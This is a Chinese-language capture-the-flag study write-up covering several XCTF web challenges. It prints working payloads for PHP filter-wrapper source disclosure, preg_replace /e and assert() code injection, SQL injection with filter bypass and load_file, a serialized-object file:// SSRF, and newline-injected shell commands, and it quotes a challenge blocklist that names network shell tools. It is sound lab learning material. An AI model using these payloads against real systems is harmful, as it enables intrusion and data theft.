ics-05
题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
所以打开后直接点击设备维护中心,查看网页源码:
发现一可疑之处。
尝试使用伪协议读取index.php的源码:
?page=php://filter/read=convert.base64-encode/resource=index.php
得到base64加密的源码,解码得到(关键部分):
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<?php
}else{
?>
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
注意到这里要伪造X_FORWARDED_FOR头,抓包,添加头:
然后利用preg_replace()函数的漏洞,使用/e时,preg_replace() 将 replacement 参数当作 PHP 代码。
尝试构造payload:
?pat=/123/e&rep=system('ls')&sub=1234
?pat=/123/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=1234
// %26表示&
?pat=/123/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=1234
?pat=/123/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1234
mfw
打开页面,有一个about页面:
可能存在源码泄露。
使用 GitHack 下载其源码:
有个flag.php,打开并没有什么有用信息。
打开index.php,得到:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
找到了这道题的利用点。
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
$file是拼接得到的。
assert() 检查一个断言是否为 FALSE。
assert()会将括号中的字符当成代码来执行,并返回true或false。
这里没有任何过滤,构造payload:
'.system("cat ./templates/flag.php").'
1') or system('cat templates/flag.php');//
fakebook
查看源码:
输入a,报错,存在sql注入:
常规操作,判断出有4列。
使用联合注入,发现存在过滤:
?no=-1 union select 1,2,3,4#
那只能是union select中存在问题,尝试绕过,发现可以使用:
?no=-1 union/**/select 1,2,3,4#
然后正常操作,不记录了。
最后得到结果:
被序列化处理过的东西,发现其中的内容其实就是我们注册的内容(我这里注册的时候乱写的)。
想想查看robots.txt,果然得到了一些东西:
源码泄露。。。。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
好好分析一下代码,想想利用方式。
好像都是对blog进行了处理。
注册的信息都被序列化进行存储。
我们还知道了绝对路径:/var/www/html/。
flag.php在这个路径下面。
我们可以利用sql函数直接读取:
?no=100 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #
这里的考点其实是SSRF,具体的我也不是很了解,构造:
?no=-1 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’
enen这道题先到这吧,后面在详细了解一下。
Cat
懵的一 !
favorite_number
一道代码审计题目
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
有几个需要绕过的地方,逐一分析一下:
if($stuff === $array && $stuff[0] != 'admin')
$stuff强等于数组$array,第一个元素不等于admin。
这里提示了 php 5.5.9 ,查了查绕过方式:
大致意思就是:
在数组中,a[0]===a[0x1000000000] // bool(true)
所以构造payload:
stuff[4294967296]=admin&stuff[1]=user&num=111
得到:
第一个绕过成功。
接下来绕过正则:
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num))
要求是数字,不能有一些字符。
这里没有进行换行匹配,所以我们可以使用%0a进行换行,绕过第一条正则:
stuff[4294967296]=admin&stuff[1]=user&num=111%0a ls /
这里hackbar好像用不了。
这里学到了新姿势,使用索引的方式:
stuff[4294967296]=admin&stuff[1]=user&num=111%0a ls -i /
反引号进行执行读取内容:
stuff[4294967296]=admin&stuff[1]=user&num=111%0a more `find / -inum 31458297`
总结一下这道题:
考查key溢出问题
又学到了读取文件的新姿势
后记:
今天只记录了一道题,因为后面的题对于我自己来说开始变得困难,所以后面每天记录一道题,理解每一道题,把之前记录的题好好理解,复习一下。